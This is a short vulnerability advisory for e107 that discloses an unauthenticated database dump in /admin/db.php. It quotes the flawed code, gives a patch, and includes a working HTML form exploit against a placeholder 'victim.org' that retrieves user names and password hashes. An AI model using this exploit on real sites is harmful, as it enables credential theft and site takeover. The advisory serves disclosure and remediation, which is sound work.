Website vendor : http://e107.org

Affected System(s): All versions

Severity: High

Platform(s): Windows and Unix

Issue: Security holes enable attackers to get MySQL dump file with
users and passwords.

==================================================
Details:

 In file /admin/db.php
.......................
require_once("../class2.php");

if(IsSet($_POST['dump_sql'])){
        getsql($mySQLdefaultdb);
        exit;
}

[....]
require_once("auth.php");

.......................

We can do dump_sql without authorization.

Exploit:

<form action="http://victim.org/admin/db.php";>
<input type=submit name="dump_sql">
</form>

When pressed submit query button we will get MySQL dump file.
 
In dump file we will find username and passwd MD5 hash.

With admin password we can get full site control and access to
FileManager.



Vendor: Not contacted yet.

Patch:

in /admin/db.php

Before doing anything you will need tomove "require_once("auth.php");"
to the top of the file.

Sorry for my poor english:)
